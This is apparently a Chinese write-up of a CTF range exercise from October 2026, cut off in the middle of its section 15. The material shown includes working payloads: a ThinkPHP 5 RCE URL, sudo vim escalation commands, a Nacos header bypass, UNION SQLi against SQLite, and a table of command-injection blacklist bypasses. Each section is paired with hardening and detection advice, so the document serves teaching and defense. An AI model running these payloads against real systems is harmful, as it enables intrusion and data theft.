2026-10-12
靶场题解吗?
00
请注意,本文编写于 33 天前,最后修改于 33 天前,其中某些信息可能已经过时。

目录

第一部分 渗透测试(上午场)
1. 场景与战果一览
2. ThinkPHP 5 / ThinkCMF 未授权 RCE:参数即类名(flag2 / flag3 / flag4 入口)
2.1 原理:三段式调用链
2.2 四个"坑"其实是漏洞的边界,不是工具问题
2.3 加固与检测
3. 从命令执行到 root:sudo + GTFOBins(flag2、flag4)
3.1 原理
3.2 无 tty 时为什么直接执行拿不到输出
3.3 加固与检测
4. 源码备份与目录列举(flag1)
5. Spring Boot Actuator 未授权:内存即凭据(flag5)
5.1 原理
5.2 比堆转储更快的入口
5.3 加固与检测
6. Nacos 认证绕过:一个请求头换整个配置中心(flag6)
6.1 原理
6.2 危害:配置中心是凭据的枢纽
6.3 加固与检测
7. Tomcat Manager 部署 WAR(flag7)
7.1 原理
7.2 为什么 HTML 上传口会 403
7.3 JSP webshell 的三个语言层细节
7.4 加固与检测
8. 世界可写文件 + root cron 提权(flag8)
8.1 思路的转换
8.2 两个操作细节(都很容易做错)
8.3 排查过的死路(也是知识点)
8.4 加固与检测
9. www 数据库与 authcode(flag3)
10. Windows 文件服务器:匿名 SMB + 压缩包弱口令(flag9)
10.1 链条
10.2 原理要点
10.3 加固与检测
11. IIS 门户与 UEditor 任意文件上传(flag10–12,未解)
11.1 已经打通的路径
11.2 卡在哪
11.3 已经排除的方向(省得重跑)
11.4 加固与检测
12. 命令注入与黑名单绕过
12.1 场景与原理
12.2 黑名单与它的绕过
12.3 加固与检测
13. SQLite 注入:工单查询背后的库(flag17)
13.1 入口
13.2 UNION 注入的三个要点
13.3 同一台机器上顺手挖到的其他缺口(都值得学)
13.4 加固与检测
14. 凭据泄露的两种形态:前端硬编码 Token(flag19)与匿名 FTP(flag21)
14.1 flag19:找 Token 的推理,而不是爆破
14.2 flag21:抽象说法要先落成具体技术
14.3 加固与检测
15. 内网两台为什么没打进去(flag13–16,未解)
15.1 已经拿到的东西
15.2 卡点在哪(判断错误)
15.3 加固与检测
16. 上午场失败复盘
第二部分 应急响应(下午场)
场景总览
题目一 · 移动应用服务器(20 题)
1.1 场景与证据
1.2 攻击链总览
1.3 逐题索引(Q1 – Q20)
1.4 Q1 两个攻击 IP:先建立"谁在和受害机说话"
方法
一个关键点:怎么区分攻击者和背景噪声
加固与检测
1.5 Q2 APK 登录口令:客户端"加密"的伪安全
发现
算法与逆向
一个逆向技巧:反编译结果有歧义时回到字节码
为什么这类"自定义加密"毫无安全性
加固与检测
1.6 Q3 / Q4 上传秘钥与漏洞接口:JWT 权限位与弱签名密钥
三处证据串起来
两个设计缺陷
加固与检测
1.7 Q5 / Q6 上传的两个文件名:原始名只在 multipart 头里
两道题问的是两次不同的上传
上传的三道关,本题只过了一道
加固与检测
1.8 Q7 webshell 与口令:冰蝎 JSP 逐行解读
加固与检测
1.9 Q8 冰蝎流量解密:从密文到第一条命令
密钥协商
解密步骤
解密后是什么
★ 一个必须记住的教训
加固与检测
1.10 Q9 / Q16 / Q17 后门与反连:看服务器的主动外连
Q9 第一次反弹 shell 的端口
Q16 后门反连的 ip 和 port
Q17 反连后执行的第一条命令
加固与检测
1.11 Q12 / Q13 被下载的文件:单字节异或与已知明文攻击
怎么知道密钥是 0x11 —— 已知明文攻击(KPA)
加固与检测
1.12 Q19 / Q20 SSH 套件被重编译:一次教科书级的后门
Q19 发现方法:rpm -V
找后门功能:strings 找"不该出现的字符串"
Q20 记录文件到底叫什么:从字符串偏移到 ELF 字节
两半后门的分工(一个很有设计感的细节)
从被篡改的二进制里"反向"读出攻击者的战果
加固与检测
1.13 未解五题(Q10、Q11、Q14、Q15、Q18)
Q10 webshell 当时查询的当前 shell 权限
Q11 爆破路径的次数
Q14 通过什么文件修改的 root 密码
Q15 黑客设置的 root 密码(这题的判断错误最值得记)
Q18 被加 SUID 的文件
1.14 本场景的加固与检测清单(汇总)
题目二 · 企业网应急溯源(36 题)
2.1 场景与拓扑
2.2 攻击链总览
2.3 逐题索引(#21 – #56)
2.4 #23 存在漏洞的组件版本号
2.5 #24 / #25 / #26 JNDI 注入链路三题
原理:为什么一个日志库能导致 RCE
一个共同判据:这三题都出自"出站流量"
加固与检测
2.6 #30 – #33 Linux 侧后门与持久化
#30 / #31 后门账号
#32 systemd 持久化
#33 心跳后门
加固与检测
2.7 #27 / #28 / #34 / #35 答案藏在攻击者自己留下的脚本里
#28 最先下载脚本的绝对路径与最后修改时间
#27 数据外传的 HTTP 接口路径
#34 配置文件里的明文数据库口令
#35 内网扫描工具的版本号
加固与检测
2.8 #36 – #39 Redis 未授权利用链
#36 被关掉的 Redis 配置项:rdbcompression
#37 / #38 Redis 写入的计划任务
#39 打包外传的压缩包名
加固与检测
2.9 #40 / #41 MySQL 后门账号
2.10 #42 / #43 / #47 Windows 域内横向与 C2
怎么从事件日志里找横向
一个 IP 多个角色的辨析(这题当时判错过)
加固与检测
2.11 #48 – #50 勒索现场(未解)
2.12 #51 / #52 钓鱼邮件
附件名 ≠ 落地文件名(本题最值钱的一个判断)
发件人域名的仿冒
加固与检测
2.13 #53 – #56 宏载荷与持久化
先找持久化点,再反推落地路径
宏的三个知识点
加固与检测
2.14 未记录的题(#21、#22、#29、#44 – #46)
#21 / #22 攻击源 IP 与被攻击服务的监听地址
#29 SSH 免密后门密钥被成功登录的次数
#44 / #45 / #46 后门账号加入的组 / 计划任务名称 / Windows 后门程序路径
2.15 本场景的加固与检测清单(汇总)
题目三 · APT 恶意样本深度分析(10 题)
3.1 场景与分析方法
3.2 逐题索引(#57 – #66)
3.3 #58 第二阶段载荷落地目录
3.4 #59 / #60 / #62 WMI 持久化的三件套
原理(WMI 事件订阅持久化,ATT&CK T1546.003)
命名规律
3.5 #61 / #63 两个执行分支
3.6 未解与线索(#57、#64、#65、#66)
#57 被 wscript 执行的脚本名
#64 Base64 解码结果的文件头前 4 字节
#65 / #66 第三阶段脚本的互斥体与域名数组
换方法:静态分析答不出的题应该交给行为分析
3.7 本场景的加固与检测清单(汇总)
下午场失败复盘
第三部分 方法论
17. 攻方:从侦察到拿下的判断链
37.1 开工三问
37.2 侦察顺序
37.3 攻击面收敛:让事实决定方向
37.4 凭据泄露点清单(值得随手记)
37.5 遇到"要凭据"时先推理,别急着爆破
37.6 失败诊断:先怀疑自己,再怀疑目标
37.7 通道能力评估
37.8 长串一致性
18. 守方:应急取证的判断链
38.1 先找攻击者的遗留物,再逐题检索
38.2 取证素材的优先级
38.3 证据复核的固定动作
38.4 判据要看"角色是否匹配"
38.5 时间线重建
38.6 口径歧义的处理
38.7 图形工具优先(这条反直觉但很实用)
19. 失败模式总表
20. 加固与检测清单
40.1 Linux 主机
40.2 Windows / 域
40.3 网络
40.4 Web 与应用
40.5 出站与终端

2026-10-11 全天两场演练:上午渗透测试(23 个 flag / 4500 分),下午应急响应(66 题 / 10400 分:题目一移动应用服务器 20 题、题目二企业网溯源 36 题、题目三 APT 样本 10 题)。

可谓是精彩至极,上午3min出现23flag全解,一等奖基本都是打了比赛平台拿到的未授权flag接口,而比赛官方规定是不允许攻击比赛平台。这不瞎搞吗。


第一部分 渗透测试(上午场)

1. 场景与战果一览

目标是一家工业物联网公司。对外三台机器直接可达,内网两台只能经边界机中转:

主机地址角色开放服务结果
www.hancloud.local172.16.10.10官网门户(dmz-web01)80root,flag1–4
ops.hancloud.local172.16.10.11运维平台(dmz-app01)22 / 8080 / 8081 / 8848root,flag5–8
tool.hancloud.local172.16.10.12遗留工具机(dmz-tool01)21 / 22 / 80 / 8080 / 8081命令执行 + SQLi,flag17、19、21
file.hancloud.local172.16.20.20文件服务器(int-win01,Windows Server 2016)445 等flag9,flag10–12 未打通
oa.hancloud.local172.16.20.21内网数据库机(hc-db01)80 / 3306 / 6379零 flag,flag13–16 未打通

这张表本身就是第一条经验:ops 上开了 8848(Nacos)和 8081(Tomcat Manager)—— 这类运维/管理组件暴露在业务端口旁边,往往是整条链的起点。看到"业务机 + 一堆中间件端口",先怀疑中间件。


2. ThinkPHP 5 / ThinkCMF 未授权 RCE:参数即类名(flag2 / flag3 / flag4 入口)

这是上午最有教学价值的一个洞 —— 它不是"某个过滤没写",而是框架把用户输入当成了类名,属于信任边界设计错误。

2.1 原理:三段式调用链

ThinkPHP 5.0 的兼容模式把 URL 参数 s 当作路由:

?s=portal/\think\app/invokefunction └─[0]─┘ └────[1]────┘ └────[2]────┘ 模块 控制器 操作

链上有三个关键点:

  1. 模块名必须真实存在。 框架会检查 is_dir(APP_PATH . $module),不存在就抛 module not exists。ThinkCMF 只有 portal / admin / user / install 四个模块。

  2. 控制器名含反斜杠时,被当成完整的命名空间路径,原样保留、不再拼模块前缀:

    php
    if (false !== strpos($name, '\\')) { $module = Request::instance()->module(); $class = $name; // ← 用户输入直接成了类名 }
  3. think\App 里有一个不加白名单的万能调用器:

    php
    public function invokeFunction($function, $vars = []) { return call_user_func_array($function, $vars); }

把 2 和 3 接起来,就等于任意函数调用。vars[0] 给函数名、vars[1] 给参数数组 —— 之所以能用这种下标写法,是因为参数在内部按数字数组按位置绑定。

所以 payload 的形状是固定的:

?s=portal/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=<命令>

把 system 换成 file_get_contents 就是任意文件读。

2.2 四个"坑"其实是漏洞的边界,不是工具问题

这四点每次都会有人踩,而且踩错会得出"漏洞不存在"的错误结论。

① 反斜杠必须写成 %5C。 URL 里的裸 \ 会按规范被规范化成 /,于是 portal/\think\app 变成 portal//think/app,反斜杠的语义丢了 → 模块不存在 → 404。payload 的语义依赖字节级精确,中间任何一环改写都能让它失效。

② 第一个路径段必须是真实存在的模块目录。 网上绝大多数 PoC 写的是 ?s=index/\think\app/invokefunction,而 ThinkCMF 没有 index 模块 —— 它会死在模块检查那一步,返回 404。

这是整场最大的判断陷阱。 很多人因为 PoC 里写了 index 而认定"目标已修复"。正确的诊断顺序是:看异常信息(module not exists:index 明确指向模块名,不是"路由被拦")→ 换成真实模块名(portal)→ 重试。

③ 请求方括号必须关掉通配符解析。 很多 HTTP 客户端会把 vars[0] 里的方括号当通配符处理,请求根本发不出去;如果同时开了静默模式,报错也被吞掉 —— 现象是"响应 0 字节"。

响应 0 字节时,第一嫌疑永远是"我的请求没发出去",而不是"目标防住了"。

④ 全局过滤会限制 payload 的写法。 框架的 default_filter 默认对 GET/POST 全部参数生效,< > & " ' 会被 HTML 实体转义。后果是:

  • 远程命令不能带引号
  • 写 webshell 时 <?php 变成 &lt;?php,落地后不可执行
  • 写 SQL 时把空格换成 /**/(MySQL 当空白处理),字符串用十六进制字面量

对应的通用绕法:空格用 /**/(SQL)或 ${IFS}(shell);引号用 PHP 八进制转义;& 用 %26 或分号。

2.3 加固与检测

加固:升级到 5.0.23+ / 5.1.31+;删除或禁用 install 模块(本次它还返回 200);对 s 参数做正则白名单 ^[a-zA-Z0-9_/]+$(一眼拦住 %5C)。不要指望 default_filter —— 它是"过滤"不是"拒绝",而且会破坏正常业务。

检测:URL 中出现 invokefunction / call_user_func_array / %5Cthink%5C;404 的 s= 长参数(PoC 试探)应告警;应用侧的 module not exists 异常正常业务不会产生。


3. 从命令执行到 root:sudo + GTFOBins(flag2、flag4)

3.1 原理

sudo 授权的对象是可执行文件,不是"一个任务"。所以一旦授权了"能执行别的命令"或"能读写任意文件"的程序,等于授权了任意命令。

本题的 www 上:

User www-data may run the following commands on hc-web01: (root) NOPASSWD: /usr/bin/vim

vim 在 GTFOBins 里同时具备两个能力:执行 shell(: 命令模式下的 !)、读写任意文件(: 里另存为)。

3.2 无 tty 时为什么直接执行拿不到输出

这是本节真正的知识点。 在 Web 命令执行、反弹 shell、CI 这类非交互场景里,进程没有分配伪终端(pty)。此时:

  • vim 不进入全屏模式,退化为 Ex 模式
  • :!cmd 交给 shell 执行,shell 的 stdout 并不回到调用者的输出流里

命令其实执行了,只是你看不到。 这与"命令失败"是完全不同的两件事。

所以正确的手法不是"想办法看回显",而是让特权 vim 把结果写到你能读的文件:

bash
# 读任意 root 文件:用 :w! 另存为可读副本 sudo vim -esn -c ':w! /tmp/f4' -c ':q!' /root/flag4.txt # 以 root 执行任意命令并落盘 sudo vim -esn -c ':!命令 | tee /tmp/rl' -c ':q!'

选项含义:-e Ex 模式(不初始化全屏)、-s 静默、-n 不写 swap 文件 —— 最后这个最关键,否则 vim 会卡在 "Press ENTER" 上等人按键。

通用结论:任何 TUI 程序在无 tty 环境下都可能行为异常。要么伪造 pty(script -qc "cmd" /dev/null),要么让它写文件而不是回显。"没有回显"不等于"没有执行" —— 这个判断在后面的应急响应里还会反复用到。

3.3 加固与检测

加固:sudoers 里禁止授权编辑器、分页器、解释器(vim/vi/less/more/awk/find/python/perl);需要编辑特权文件就用 sudoedit(复制到临时目录再写回,不给 shell);Defaults use_pty 强制分配 pty;定期全量审计 NOPASSWD 条目。

检测:sudo 日志里出现 sudo vim、sudo less、sudo find 这类调用;/tmp 下出现由 root 创建的可读副本文件。


4. 源码备份与目录列举(flag1)

这是最"便宜"的一类洞,也是最容易被忽略的一类。

robots.txt → Disallow: /backup/ /backup/ → 目录列举开着,里面有整站源码备份 www.tar.gz(14 MB)

判据很简单:robots.txt 里的 Disallow 相当于主动告诉攻击者"这个路径别让搜索引擎看到" —— 而"不想让搜索引擎看到"的东西,往往正是敏感的东西。它是个君子协定,不是访问控制。

拿到源码包之后,价值不在包本身,而在于:它是后续所有攻击的地图。数据库配置文件、框架版本、隐藏路由、硬编码凭据,全在里面。

加固:备份文件不要放在 Web 根下,或放在 Web 根下但加认证;Options -Indexes 关闭目录列举;robots.txt 里不写敏感路径(要么就别放这些目录)。

检测:对 Web 根下的 .zip/.tar.gz/.sql/.bak 做访问告警;监控 /backup/、/bak/、/old/ 这类目录的访问。


5. Spring Boot Actuator 未授权:内存即凭据(flag5)

5.1 原理

题目问的是"在运维平台的运行内存中获取"。这句话直接指向 Spring Boot 的 Actuator 端点 —— Spring Boot 1.x 默认暴露全部端点,2.x 虽然默认只开 health/info,但大量项目为了"方便排查"配成了 include=*。

关键是 /actuator/heapdump:它导出整个 JVM 堆快照。

为什么内存里一定有敏感数据:Java 的字符串常量、配置项、数据库连接串、JWT、口令,在堆里必须以明文形式驻留 —— 程序要用它,就不可能保持加密状态。它不像磁盘文件那样能加密保存。

拿到 26 MB 的堆文件后,用 grep -a(-a = 把二进制当文本)直接搜 flag 格式即可。专业的做法是 Eclipse MAT / JVisualVM。

5.2 比堆转储更快的入口

实战顺序应该是先看这几个,再考虑啃堆:

端点内容
/actuator/env全部配置属性(含 systemProperties)—— 常常直接就有口令
/actuator/configprops绑定到配置类的对象 —— 数据源口令常在这里
/actuator/mappings全部路由 —— 等于攻击面地图
/actuator/beans全部 Bean —— 能看出用了什么框架
/actuator/threaddump线程栈 —— 可能含 SQL 与参数

5.3 加固与检测

加固:management.endpoints.web.exposure.include=health,info(白名单,不要用 *);heapdump 显式关闭;Actuator 换到独立端口并只绑内网;前置认证。

检测:对 /actuator/* 的访问告警(尤其 heapdump、env、configprops);这类路径正常用户不会访问。


6. Nacos 认证绕过:一个请求头换整个配置中心(flag6)

6.1 原理

Nacos 1.4.0 的 AuthFilter 里有一段"服务端之间互相信任"的逻辑:

java
if ("Nacos-Server".equals(request.getHeader("User-Agent"))) { return chain.doFilter(request, response); // 直接放行,不校验身份 }

设计初衷是让集群内部节点互调时免认证,但它只用一个客户端完全可控的 HTTP 头来判定身份。加上 User-Agent: Nacos-Server 就成了"内部服务"。(CVE-2021-29441,1.4.1 起改用服务端共享密钥。)

6.2 危害:配置中心是凭据的枢纽

Nacos 存的是整个微服务集群的配置,而配置里必然有数据库口令、Redis 口令、第三方 Key、加密盐值。本题的配置文件里就直接写着 Tomcat 管理器的账号口令。

这是横向移动里性价比最高的一步:从"一个未授权读"到"RCE",中间只隔了一次配置泄露。所以看到配置中心暴露,优先级应该排在扫目录之前。

6.3 加固与检测

加固:升级到 1.4.1+;nacos.core.auth.enabled=true 且改掉默认口令(默认 nacos/nacos 配合未授权的"添加用户"接口是另一条经典链);Nacos 只监听内网。

检测:User-Agent: Nacos-Server 出现在来自外部的请求里;对 /nacos/v1/cs/configs 的异常大批量读取告警。


7. Tomcat Manager 部署 WAR(flag7)

7.1 原理

Tomcat 自带的管理器允许上传 WAR 包并热部署 —— 这是设计功能,不是漏洞。一旦口令泄露,等于直接拿到 shell。

7.2 为什么 HTML 上传口会 403

Tomcat 的管理角色是分开的:

角色权限
manager-gui访问 HTML 界面,但上传要带 CSRF token,脚本直接 POST 会 403
manager-script使用 text 接口(/manager/text/*),为脚本/自动化设计,无需 CSRF token

所以脚本化部署要用 /manager/text/deploy,而不是去模仿浏览器的 HTML 表单。

教学点:遇到 403 别急着换工具,先想是不是角色/协议用错了。Tomcat manager 的 403 十有八九是"gui 角色 + 缺 CSRF token"。

7.3 JSP webshell 的三个语言层细节

① 为什么必须显式调用 shell。 Runtime.exec(String) 内部按空格切分,不经过 shell —— 管道、重定向、;、引号全部无效。要执行"带 shell 语义"的命令必须写 new String[]{"/bin/sh","-c",cmd}。

② 为什么 JSP 里不能出现反斜杠。 想表达"读到流结尾"常写 useDelimiter("\\A"),但这段代码要经过编辑器 → 传输 → 落盘 → Jasper 编译多层转义,任何一层处理不当就会变成 "\A",而 \A 不是合法 Java 转义序列 → 整个 JSP 编译失败(500)。改用 BufferedReader.readLine() 循环即可,零反斜杠。

③ 为什么通用 webshell 会"不回显"。 三个常见原因:只读 getInputStream() 而没读 getErrorStream()(命令报错时一片空白)、异常被 catch 后静默吞掉、输出没 flush。"不回显"不是"没执行" —— 拿不到输出就让它写文件。

7.4 加固与检测

加固:生产环境删除 webapps/manager 与对应 conf/Catalina/localhost/manager.xml;必须用时只留 manager-script 并绑 127.0.0.1;Tomcat 低权限运行,webapps 目录对运行用户只读。

检测:/manager/* 的访问(尤其 deploy);Web 目录新增 .war/.jsp 的实时告警。


8. 世界可写文件 + root cron 提权(flag8)

8.1 思路的转换

本题作者刻意摘掉了 sudo 和 pkexec 的 setuid 位,内核也老 —— 常规提权路全堵。逼你换一个视角:

不看"哪些文件有特殊权限位",而看 "哪些文件我能改,而 root 会执行它"。

这是权限配置错误导致的提权,和 SUID 是同一思路的两面:

思路找什么方法
我能以高权限执行什么SUID / SGIDfind / -perm -4000 -type f
我能改什么、高权限会执行它世界可写文件 + cron/systemdfind / -perm -o+w -type f
我能影响什么环境PATH / LD_PRELOAD / 相对路径读服务与脚本

本题的答案是 /opt/tomcat/bin/logbackup.sh —— 全系统唯一一个 o+w 文件,脚本注释还自己写着"每分钟由 root 的 crontab 调起"。

8.2 两个操作细节(都很容易做错)

① payload 必须插在 exit 0 之前。 脚本以 exit 0 结尾,追加到文件末尾永远不会被执行 —— 要用 sed 的插入(/^exit 0/i)而不是追加。

② 它不在你能想到的地方。 这个脚本在 root 自己的 crontab 里,/etc/crontab 和 /etc/cron.d/ 都查不到 —— 要看 crontab -l -u root 或 /var/spool/cron/crontabs/。

8.3 排查过的死路(也是知识点)

  • getcap -r / 无可利用能力(没有 cap_setuid)—— capabilities 是替代 SUID 的现代机制,值得单独排查
  • 无 docker / lxd 组(有的话 docker run -v /:/host 直接拿 root)
  • 应用目录 drwxr-x--- opsapp,当前用户进不去
  • /etc/sudoers.d 只有 README

8.4 加固与检测

加固:文件权限基线监控(AIDE / tripwire / auditd);root 的 cron 脚本必须 root:root 644;定期清点 SUID/SGID 与世界可写文件。

检测:auditd 规则监控 /etc/crontab 与 cron 目录的写入、监控 chmod 带 setuid 位的操作;SUID 文件的完整性校验。


9. www 数据库与 authcode(flag3)

数据库口令直接从源码里的配置文件读到,接着借命令执行查库 —— 注意数据库只监听 localhost,外部连不上,所以"能不能查库"取决于你手上有没有这台机器的命令执行。

业务表里有一条"数据库口令轮换后监控未同步,已回滚"的版本说明,flag3 就藏在这条说明的文本里。

更有价值的是配置里的 authcode:ThinkCMF 用它签名 session / cookie。后台登录要过验证码,但有了 authcode 就可以自己签一个管理员 cookie,直接绕过验证码进后台。

教学点:业务数据表里的备注字段是常被忽略的藏宝地(版本说明、变更记录、内部留档)。审计数据库时别只盯着用户表。

加固:配置文件不进 Web 目录、权限收紧;口令不写明文;authcode 这类签名密钥要能轮换。


10. Windows 文件服务器:匿名 SMB + 压缩包弱口令(flag9)

10.1 链条

匿名 SMB 可读共享目录 → 里面有个加密压缩包 → 用字典爆出压缩包口令 → 解出 flag9,外加一份文件里写着门户的账号口令。

10.2 原理要点

① 匿名 SMB(NULL session):Windows 允许在无凭据时以匿名身份访问配置为"Everyone"的共享。这类配置在"文件服务器"角色上特别常见 —— 为了"方便同事取文件"。

② 压缩包口令爆破:ZipCrypto(传统加密)和 AES-256 是两套完全不同的算法,对应不同的爆破模式(hashcat 的 -m 17200 / -m 13600)。先确定加密类型再选工具,猜错了会白跑。

③ 共享里的文件比共享本身更值钱:本题的收获不止 flag,还有一个写着门户凭据的文本文件 —— 一次泄露带来下一次登录。

10.3 加固与检测

加固:关闭匿名共享;共享权限按最小权限授予;敏感压缩包不放在共享目录;口令策略覆盖"文件加密口令"。

检测:SMB 匿名登录(事件 4624 的匿名会话);大量压缩包口令尝试;共享目录里的敏感文件访问。


11. IIS 门户与 UEditor 任意文件上传(flag10–12,未解)

这是上午唯一"马进去了但没打通"的地方,卡点很有教学意义。

11.1 已经打通的路径

  1. 门户是一个登录页,用上一步拿到的账号口令能进去
  2. 门户挂了 UEditor(.NET 版),它的 catchimage 功能可以让服务器去远程抓取一个文件并落盘
  3. 它判断"是不是图片"只看 HTTP 响应头里的 Content-Type,不看内容
  4. 落盘名用 Path.GetFileName(源 URL) → 扩展名由源 URL 决定

于是:在自己控制的机器上放一个伪装成图片的马,配置让响应头写成 image/gif,再让 UEditor 去抓 —— 它就原样落地成一个可执行脚本。

11.2 卡在哪

马确实落地了,也确实被 ASP.NET 执行了(响应 200,响应头有 X-AspNet-Version: 4.0.30319),但响应体长度是 0。

怀疑方向(当时的排查记录):

  • 应用池禁止 cmd.exe —— Windows 上很多应用池会限制子进程,所以"起进程执行命令"的马必然是空输出
  • 落盘内容可能被 UEditor 处理过(它可能对抓取内容做了二次处理)
  • upload 目录的 web.config 可能限制了输出

正确的下一步应该是:换成纯 .NET IO 的马(直接用 File.ReadAllText 读文件,完全不起进程),而不是继续在"起 cmd 进程"这条路上折腾。

这条经验值得单独记:在 IIS 上拿 Web 马,优先写不依赖子进程的版本。因为"能执行脚本"和"能起进程"是两回事,后者常被应用池配置挡住。同理,判断马有没有效,不能只看 HTTP 状态码 —— 要看响应体,或者让马产生一个带外可见的副作用(写一个可读文件、发一个 DNS 请求)。

11.3 已经排除的方向(省得重跑)

系统补丁已打齐(MS17-010 无效);WinRM 上账号无权限;C$/ADMIN$ 不可用(该账号不是管理员);WebDAV 返回 405;IIS 目录爆破零命中。

11.4 加固与检测

加固:删除或替换 UEditor(它历史上漏洞极多);上传接口必须做扩展名白名单 + 内容嗅探,且不能信任源 URL 的扩展名;上传目录禁止脚本执行;应用池以最小权限运行并保留"禁止 cmd.exe"这类约束。

检测:catchimage 这类"服务端抓取"接口的出站请求监控(它等于一个受限 SSRF);上传目录新增可执行文件的告警。


12. 命令注入与黑名单绕过

12.1 场景与原理

tool 的 8081 上有个"现场运维工具",其中 ping 功能把用户输入拼接进 shell 命令:

php
system("ping -c 4 " . $_GET['host']);

12.2 黑名单与它的绕过

输入 ;id 被拦,报错信息把黑名单完整列了出来:

目标地址包含非法字符(不允许 ; & ( ) $ ` | > < ')

这份黑名单本身就是情报:它精确列出了开发者想到的元字符 —— 而它漏了换行符。在 shell 里换行等价于命令分隔符,所以 host=127.0.0.1%0a<命令> 直接就通了。

黑名单绕过的通用清单(按优先级):

手法载荷说明
换行%0a最常被漏掉,等价于 ;
回车 / Tab%0d / %09同上
${IFS}cat${IFS}/etc/passwd绕空格过滤
引号拼接cat /etc/pass'w'd绕关键词过滤
变量拼接a=cat;b=/etc/passwd;$a $b绕命令名黑名单
通配符/???/c?t /etc/pass?d绕路径过滤
编码echo <base64> | base64 -d | sh绕过所有字符过滤

教学点:黑名单永远是错的。 只要 shell 支持某种分隔/替换机制而黑名单没列全,就绕过了。而且黑名单的报错信息往往泄露完整的过滤规则,等于把绕过方向告诉攻击者。白名单才是对的写法 —— 输入是 ping 目标,就该按 IP 格式校验。

12.3 加固与检测

加固:不拼接(用参数数组调用、或用 escapeshellarg);输入用白名单(按 IP 校验);服务降权运行。

检测:参数里出现 %0a/%0d/${IFS}/反引号等异常字符;异常参数导致的命令执行(EDR 侧看 Web 进程拉起的子进程)。


13. SQLite 注入:工单查询背后的库(flag17)

13.1 入口

tool 的 80 端口是个"设备台账"PHP 站。它的首页就是一份说明书,直接列出了功能入口:工单查询、调度台、设备状态、管理后台。

工单查询页的源码里,开发者自己写了注释承认没做参数化:

php
// 按工单号查询(调度台与工程师共用,未做参数化) $sql = "SELECT t.id, t.title, t.content, t.created_at, u.user_name FROM tickets t JOIN users u ON u.id = t.uid WHERE t.id = $id";

$id 既没加引号也没过滤 → 数字型注入。

13.2 UNION 注入的三个要点

① 列数必须对齐。 原查询是 5 列,所以 payload 是 UNION SELECT 1,<数据>,3,4,5 —— 中间那些数字只是占位,为了让列数匹配。列数不对会直接报错,这也是探测列数的经典手段。

② SQLite 的"information_schema"叫 sqlite_master。 一条查询就能拿到全部表名和建表语句:

sql
SELECT name, sql FROM sqlite_master WHERE type='table'

比 MySQL 场景省事得多(不用逐库逐表枚举)。

③ 权限边界决定攻击路径。 库文件 /var/lib/hcweb80/hcweb.db 属 www-data,而通过命令注入拿到的是另一个低权用户 —— 读不到库文件,所以只能走 Web 注入(Web 进程有权限读它自己的库)。

这是很典型的一课:能不能打某个洞,取决于你以什么身份打。拿到一个低权 shell 不等于拿到了这台机器上的所有数据。

拿到表结构后,flag 在 config 表里(键值表,键名就是 flag17):

sql
UNION SELECT 1, v, 3, 4, 5 FROM config WHERE k='flag17'

同一张表里还有备份路径、上次迁移版本等运维信息。

13.3 同一台机器上顺手挖到的其他缺口(都值得学)

  • 工单附件不在页面上,在文件系统里 —— attachment.php 读的是 HCWEB_ATTACH . '/' . $tid . '.txt',即 /var/lib/hcweb80/attachments/<工单号>.txt。题目说"附件中"就要去文件系统找。
  • 后台是参数化查询,注入无效 —— 但可以用 SQLi dump 出来的账号口令正常登录(hash/口令就在 users 表里)。注入的用途不只是偷数据,还包括拿凭据。
  • 前端 JS 里硬编码 Token(见下一节)。

13.4 加固与检测

加固:PDO 预处理(根治);对 id 这类参数强制类型转换(辅助);关闭生产环境的报错回显;数据库文件权限收紧,Web 用户只读。

检测:WAF 规则匹配 UNION + SELECT、sqlite_master、group_concat;数据库报错信息不应回显给前端。


14. 凭据泄露的两种形态:前端硬编码 Token(flag19)与匿名 FTP(flag21)

14.1 flag19:找 Token 的推理,而不是爆破

tool 的 /api/status.php 直接请求返回:

json
{"error":"unauthorized","message":"缺少或错误的 X-Api-Token"}

需要 X-Api-Token 请求头。这里有两条路:爆破,或者想清楚谁会持有这个凭据。

这次选了后者,而理由是推出来的、不是猜的:

这个接口是给"设备台账大屏"用的 → 大屏是浏览器里的前端代码 → 前端要发请求就必须持有 token → token 必然存在于前端能拿到的资源里。

而首页已经暴露了 <script src="/static/monitor.js"> —— 名字本身就说明它是监控轮询组件。读它,token 就在里面,注释还写着"token 后续挪到服务端配置,先按值班手册里的固定值写死,结果一直没挪"。

拿到 token 后请求接口,flag 在接口响应体里(三条设备记录,前两条是干扰项)。

两条可迁移的经验: ① 遇到"要凭据"的接口,先问谁持有它,别急着爆破。 硬编码在前端 JS 里的 token / key / AK/SK 是极常见的开发陋习,每碰到一个站点都值得把 JS 拉下来翻一遍。 ② 题目的措辞通常就是答案的位置:"响应中"→读返回体;"附件中"→找文件路径;"公告中"→读后台;"共享目录"→FTP/SMB/NFS;"数据库中"→查库或调数据接口。读题时把定语圈出来。

14.2 flag21:抽象说法要先落成具体技术

题目说"文件服务的共享目录" —— 这是个抽象说法,先要落成具体协议:

协议端口特点
SMB/CIFS445、139需凭据,或配了匿名共享
FTP21可能允许匿名登录,目录列举是原生功能
NFS2049Linux 之间共享,通常靠 IP 白名单

端口扫描结果里没有 445、也没有 139 —— SMB 这条路直接排除,攻击面一下就收敛到 FTP 上。匿名登录一试就通(anonymous 账号),目录里两个文件。

读哪个? 一个叫 README.txt,一个叫 handover.txt。"handover"(交接)是有语境的词,README 是模板化的通用词 —— 靶机(以及真实事件里的交接文档)往往把关键信息放在语境化命名的文件里。flag 就在 handover.txt 的"交接校验码"里。

可迁移的经验:handover / onboarding / credentials / notes / todo / migration / legacy / deprecated / internal 这类文件名,命中率远高于随机名字。读目录列表时留意名字。

14.3 加固与检测

加固:Token / 密钥一律服务端下发或从服务端配置读取,绝不硬编码进前端;服务端按调用方身份签发短期令牌;关闭 FTP 匿名登录(anonymous_enable=NO)。

检测:前端资源里的凭据扫描(CI 阶段就该做);FTP 匿名登录告警;同一 Token 从多个来源 IP 使用。


15. 内网两台为什么没打进去(flag13–16,未解)

这一段是失败复盘,信息量比成功案例大。

15.1 已经拿到的东西

  • file 的 Web 马能落地(见第 11 节),但无输出
  • oa(172.16.20.21)三个入口都在手上:
    • Redis 4.0.9 未授权(能连、能回 PONG)
    • MySQL 3306 开放(试过的口令全部失败)
    • Tiny File Manager 在 80 端口(登录表单是 fm_usr/fm_pwd + CSRF token;token 已能正确提取,但试过的口令都是 302 且无 logout)

15.2 卡点在哪(判断错误)

